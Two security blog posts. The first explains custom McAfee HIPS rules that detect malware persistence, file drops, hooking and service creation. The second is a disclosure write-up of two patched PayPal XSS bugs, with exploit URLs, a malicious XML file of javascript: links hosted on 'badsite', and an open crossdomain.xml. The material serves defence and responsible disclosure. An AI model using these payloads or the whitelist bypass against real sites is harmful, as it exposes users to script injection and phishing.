Custom McAfee HIPS Rules That Actually Work

In this post I'm going to talk about McAfee HIPS expert rules and provide some real world examples of ways to actually catch the bad guys.

For more info on McAfee HIPS check the manual (page 101 onwards) here: https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/22000/PD22894/en_US/Host%20Intrusion%20Prevention%20800%20Product%20Guide%20for%20ePO%20450.pdf

Disclaimer - I'm not a malware guru and this post will likely be me trying to reinvent the wheel. If you have any tips or know any good HIPS resources please drop me a comment below!


Catching Bad Guys With HIPS

For an attacker to gain a foothold in your organisation they will need to run code on your systems, drop files and also setup persistence. Without these items they have no foothold. AV usually approaches this problem with a signature blacklist but as we all know this can be easy to evade.

Host intrusion detection/prevention on the other hand, can be more effective because instead of just blocking the known bad you can monitor everything and then remove the good, to find the bad. By whitelisting known good combinations of filenames, locations, processes, registry keys etc. you'll effectively be left with just the bad activity (plus a small number of false positives).


Hey I use McAfee too!

McAfee produce a HIPS product that uses a kernel-level driver to monitor system calls, if specific criteria are met you can either create an alert or block the activity. Like most security products the default signatures are out-dated and prone to false positives. What's more, as they are proprietary the actual signature content is neither visible or modifiable, making tuning and investigation tough.

Luckily McAfee allow you to create your own custom rules using a limited subset of system calls related to files, the registry, processes and a few other things. Sadly McAfee don't let you monitor arbitrary system calls like Ambush IPS.

Implementation sidenote - Avoid filtering HIPS alerts using "Exception Rules" they're just messy, use custom rules instead and avoid "Access Protection" rules they don't offer enough granularity.


The Expert Template

To create a new HIPS rule in McAfee EPO go to Policy Catalog -> Product: Host Intrusion Prevention -> Category: IPS Rules, select your IPS rules policy then click "New" to add a custom rule. Under the subrules tab select "New Expert Rule". Expert rules are more customisable and easier to manage so I would definitely recommend using them over basic rules. (Although it can be useful creating basic rules and clicking the preview button, as this will give you the basic code needed for the expert rule.)

The template that most rules follow is something like the following:

Rule {
 tag <tagname>
 Class <either File/Registry/Service/Process>
 Id <ID assigned by EPO>
 level 3
 attributes -no_trusted_apps
 <class value> { Include "<something>" }
 <class value> { Exclude "<something>" }
 Executable { Include "*" }
 Executable { Exclude { -path "<something>"} } 
 user_name { Include "*" }
 directives <class:action1> <class:action2>
}

All parameters in angle brackets < > should be replaced with values. Starting from the top, name and ID are self explanatory, you need to save the rule and an ID will be assigned that you can add to the rule later. The level is the severity from 0 to 4 (informational to high) The "Class" depends on what type of rule you want to create, I'll cover some examples below. There will be specific inclusions and exclusions for the class. You can also define specific executables you either want to include or exclude from monitoring. Finally the "directives" part defines the specific actions (API calls) we want to watch, for example, file creation will be "files:create".

Wildcards: & = everything except slashes (so no path traversing), * = everything including slashes.
Both are useful for different situations and balancing extra visibility with false positive reduction.


File Activity

99% of the bad guys in the world today will write files to disk for functionality and persistence reasons. For a defender that's awesome as we now have a way to detect when a machine is compromised.

Attacker Tip: Don't write files to disk, do everything in memory!

McAfee HIPS supports monitoring of file create, read, write, execute, delete, renaming, attribute modification and hardlink creation. We just need to define which file path/type we want or don't want to alert on and any executables we want to include (known bad sources) or exclude (known creators of false positives).

Below is a basic file monitoring template that looks for all exe's and dll's created in system32:

Rule {
 tag file_create_write
 Class Files
 Id 4001
 level 3
 attributes -no_trusted_apps
 files { Include "C:\\Windows\\System32\\&.dll" "C:\\Windows\\System32\\&.exe" }
 files { Exclude "C:\\example\\exclude" }
 Executable { Include "*" }
 Executable { Exclude { -path "c:\\Windows\\System32\\MRTSTUB.exe" } { -path "C:\\Windows\\System32\\SPOOLSV.EXE"} } 
 user_name { Include "*" }
 directives files:create files:write
}

In the "files" section you can see how you just "Include" the path you're interested in surrounded by quotes. The ampersand acts as a wildcard and remember to use double slashes in paths! I ignore ("Exclude") any file created by mrtstub.exe or spoolsv.exe as these guys generated more false positives than true positives.

Creating any rule is a balancing act between greater visibility and false positive reduction. To improve the effectiveness and accuracy of signatures it helps to focus on known bad locations, extensions and processes. I've included some suggestions below (Microsoft has a location list here):

Potentially bad extensions:
exe, dll, bat, pif, scr, com, ps1, vbs, vbe, js, lnk, tmp, jar, class, jnlp, doc(x), xls(x), pdf

Potentially bad locations:
C:\Windows
C:\Windows\System32\*
C:\Windows\System32\drivers
C:\Program Files

Win7 specific:
C:\Program Files(x86)
C:\Windows\SysWOW64
%Temp% = C:\Users\<user>\AppData\Local\Temp
%Appdata% = C:\Users\<user>\AppData\Roaming
%ProgramData% = C:\ProgramData
C:\Users\<user>\AppData\LocalLow\Sun\Java\Deployment\cache
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

WinXP specific:
%Temp% = C:\Documents and Settings\<user>\Local Settings\Temp
%Appdata% = C:\Documents and Settings\<user>\Application Data
C:\Documents and Settings\<user>\Application Data\Sun\Java\Deployment\cache
C:\Documents and Settings\<user>\Start Menu\Programs\Startup

Potentially exploitable executables:
Java = C:\Program Files (x86)\Java\jre7\bin\java.exe
Javaw = C:\Program Files (x86)\Java\jre7\bin\javaw.exe
Internet Explorer = C:\Program Files (x86)\Internet Explorer\iexplore.exe
Microsoft Office = C:\Program Files (x86)\Microsoft Office\Office*\<product>.exe
Adobe Reader = C:\Program Files (x86)\Adobe\Reader *\Reader\AcroRd32.exe

Executables malware might inject into:
svchost.exe, explorer.exe, rundll32.exe, winlogon.exe, notepad.exe

Putting this all together we get some interesting use cases:

• Java applet loaded, java.exe creates .idx or .class file in Java cache
• Malware running from svchost.exe drops exe/dll in %Temp% 
• New files added to startup folder or scheduled tasks created for persistence
• Rootkit (*.sys) dropped in drivers folder
• Unusual files (bat, pif, scr, com, vbs, vbe) created in, or executed from %Temp% and %Appdata%

Bare in mind that if the attacker migrates processes the exploited programs themselves may not drop malware, so if possible don't restrict the rule to a specific source executable. As a real life example a Java exploit I analysed this week used svchost.exe to drop a payload triggering a rule similar to this:

Rule {
 tag svchost_create_exe
 Class Files
 Id 4002
 level 3
 attributes -no_trusted_apps
 files { Include "C:\\Users\\&\\AppData\\*.exe" }
 files { Exclude "C:\\example\\exclude" }
 Executable { Include { -path "C:\\WINDOWS\\SYSWOW64\\SVCHOST.EXE" } }
 Executable { Exclude { -path "c:\\example\\exclude" } } 
 user_name { Include "*" }
 directives files:create files:write
}

Registry Activity

The registry is another favourite area for attackers to target because of persistence and access to system settings. There are loads of persistence locations, I've included some below but a lot of the time malware will go for the really obvious CurrentVersion\Run. It can also be useful to look for changes to things like windows update, firewall or security centre.

Using HIPS we can monitor registry activity to detect the creation/access of keys at known sensitive locations. McAfee supports monitoring of create, read, delete, modify, permissions, enumerate, monitor, restore, replace, load, and rename system calls.

A basic registry monitoring template is below:

Rule {
tag "HKLM/HKCU Wscript Run Value"
Class Registry
Id 4003
level 3
Executable { Include { -path "c:\\windows\\system32\\wscript.exe" } }
values { Include "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" }
values { Exclude "\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\SYNCHRONIZATION MANAGER" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\CTFMON.EXE" }
directives registry:create 
}

In this rule I'm looking for suspicious registry entries created by wscript, which is useful for detecting the vbs malware mentioned in my previous posts. I've included multiple registry run locations where malware will often create entries and excluded some false positives. Note that McAfee uses a slightly different syntax for registry paths, HKEY_LOCAL_MACHINE = MACHINE and HKEY_CURRENT_USER = CURRENT_USER.

Below are some common registry locations in ready to use McAfee format, a more comprehensive list can be found here and for comparison there is a real life ZeroAccess example here.

Common persistence locations:

\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\&
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs\\&
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\&
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\&
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&\\Parameters\\ServiceDLL\\&

Windows Firewall 

\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy
Windows Security Centre

\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wscsvc
Windows Update

\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv

Above are the HKLM entries, you can specify equivalents for HKCU (or use the & to cover both) e.g.
\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&


What about Programs?

The McAfee programs class covers new process creation (program:run or CreateProcess) and opening of existing processes with specific permissions (program:open_with_x or OpenProcess). Program:run can let you to track potential malware executing from the %temp% or %appdata% folders (Target_Executable { Include { -path "C:\\Users\\&\\AppData\\Roaming\\*.exe"}}) or even track the use of built-in utilities such as Powershell or Remote Desktop.

For example to track Powershell usage but exclude a known admin user:

Rule {
tag "Powershell execution"
Class Program
Id 4004
level 3
Target_Executable { Include { -path "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" } \
{ -path "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" }
}
user_name { Exclude "domain\\john" }
directives program:run 
}

OpenProcess is often used when performing code injection, the catch is that it's also used by legitimate programs. You can try detecting code injection of explorer.exe for example by using the open_with_ directive, this Intel post has a good explanation but be wary of the false positives.

Taken from the link above the directive permissions you'll want are:

PROCESS_VM_OPERATION      // For VirtualAllocEx/VirtualFreeEx
PROCESS_VM_WRITE                // For WriteProcessMemory
PROCESS_CREATE_THREAD     // For CreateRemoteThread


Hooking (SetWindowsHookEx)

SetWindowsHookEx can be used nefariously for both DLL injection and hooking (interception of function calls, events or messages within a process). There's a great explanation on the Volatility blog here.

McAfee HIPS supports monitoring of SetWindowsHookEx usage and can alert you to potential dll injection/hooking attempts. To detect browser keylogging we can use a rule like the following:

Rule {
 tag browser_hook
 Class Hook
 Id 4005
 level 3
 attributes -no_trusted_apps
 Executable { Include { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES (X86)\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES\\MOZILLA FIREFOX\\FIREFOX.EXE" } { -path "C:\\PROGRAM FILES (X86)\\MOZILLA FIREFOX\\FIREFOX.EXE" }}
 Executable { Exclude { -path "C:\\example\\exclude" } } 
 Handler_Module { Exclude { -path "C:\\WINDOWS\\SYSTEM32\\MSHTML.DLL" } { -path "C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\MSCTF.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\EXPLORERFRAME.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEDVTOOL.DLL"} { -path "C:\\WINDOWS\\SYSWOW64\\SHELL32.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\SHELL32.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE"} { -path "C:\\PROGRAM FILES\\MICROSOFT\\INTERNET EXPLORER DEVELOPER TOOLBAR\\IEDEVTOOLBAR.DLL"} { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE"} }
 user_name { Include "*" }
 directives hook:set_windows_hook
}

You'll likely see DLL's being loaded for all kinds of different browser extensions and toolbars. Apart from browser hooking I haven't really tested this rule with other use cases, would love to hear some suggestions.


And finally...services!

The final type of rule I'll cover is related to services. Services offer another persistence mechanism for malware to abuse and interestingly are also used during lateral movement with psexec (see Metasploit psexec here - you could also monitor file creation/execution in ADMIN$).

I found new service creation to be relatively infrequent so easy to monitor for suspicious activity. The following rule will catch new service creation - I've excluded some false positives:

Rule {
tag "New service created"
Class Services
Id 4006
level 3
display_names { Include "*" }
display_names { Exclude "GUPDATE" "GUPDATEM" "MOZILLAMAINTENANCE" "JAVAQUICKSTARTERSERVICE" "IPOD SERVICE"}
directives services:create 
} 

Monitoring your rules

With all your rules created, deployed and churning out events we obviously need some way to monitor the events. SIEM is the best choice but if EPO is your only option then you'll need to create a custom query.

I created a query with the following properties:

• Result: Type set to Events -> Threat Events.
• Chart: Use a Multi-group Summary Table. Labels -> Threat Name and Signature Name.
• Columns: Make sure to include Threat Name and Signature Name.
• Filter: Event ID 18000, 18001, 1092. Threat Name equal to your signature ID e.g. 4001

This query should give you a list of your signatures and how often they have triggered.


Final Thoughts

Creating custom HIPS rules isn't always easy, it takes time to develop use cases and you will get a lot of false positives that will need to be tuned out. Once perfected though custom rules can give you some great visibility of activity on your systems and also highlight areas for improvement (better email or web proxy filtering, tighter folder/registry access restrictions etc.).

Evil-minded readers may have already spotted the obvious that it is easy to evade HIPS rules by either using system calls not monitored by HIPS or by using files/locations/processes/services that have been excluded (whitelisted) in the rule. The answer really is to use a product that sees and logs everything (not Mcafee).

I'd love to hear feedback from you guys about HIPS rules that do/don't work and specific files, locations, activity you've found useful, drop me a comment below. And remember, if in doubt, log it all, you can always filter later :)

Pwndizzle out.

Paypal xmlPath SWF XSS and DOM Based XSS

Back in November 2012 I reported two XSS issues to Paypal, one was a vulnerable SWF on personal.paypal.com and the other was a DOM XSS in paypalobjects.com.

It's taken months and months but with the issues now fixed I wanted to finally publish this post. Enjoy!


Iframe Src XSS

While poking around Paypal I came across a help files section. Straight away my bounty hunter senses started tingling as the site looked pretty old and poorly designed. After a quick parse with Dominator it detected a really simple DOM based XSS issue:

The page contained Javascript that would write the location hash value directly into an iframe source without any kind of filtering.

To exploit you'd just use the following:

https://www.paypalobjects.com/en_US/vhelp/paypalregistration_help/paypalregistration_help.htm#javascript:alert(1)

Because paypalobjects was a separate domain to the main Paypal site there was no way to access session data/launch attacks from the main Paypal domain. And for phishing paypalobjects is a really unconvincing name so I'd argue this was relatively low risk issue.


Playing with SWFs

Knowing how easy it can be to exploit SWF's I did some Googling and went through the SWF files Paypal were using. After analyzing a few I found a SWF that used a remote xml file to define the links used within the page.

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.xml

The SWF started by loading the xmlPath variable (included in the URL). If no path was supplied a default was used instead.

Next the path was checked using the isDomainEnabled function.

In the code below you can see how url.indexOf is used to test for the presence of http or www, 4294967295 is returned if the string is not found. If http:// is not found and www is found then our URL is checked to see if it matches a domain whitelist or not. The logic here is just messy and easy to evade using https instead of http in the xmlPath.

Once past this check, myXML.load(path) completes and now within the button onPress event the getURL will be performed on our xml values.

The real Paypal xml file looked like this:

<links>
<link uri="https://personal.paypal.com/il/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_il/PayPal_FAQ"/>
<link uri="http://www.youtube.com/watch?v=UsOTILPwegg"/>
</links>

I created my own xml file and added javascript for links.

<links>
<link uri="javascript:alert(1)"/>
<link uri="javascript:alert(1)"/>
</links>

And created a crossdomain.xml that allows all, so the swf could access my xml file.

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

Now to exploit our Paypal user all we do is send a link pointing to our xml file:

https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=https://badsite/evil.xml

And if the user clicks any of the buttons they get pwned:

Final Thoughts

I wasn't the first person to report either of these issues and they've been on the site so long I'm sure a lot of bounty hunters have already seen them. Basic coding errors were to blame in both instances and could have been solved by using proper input filtering/whitelisting.

Hope you guys found this post interesting, any questions or feedback, drop a comment below!

Pwndizzle out.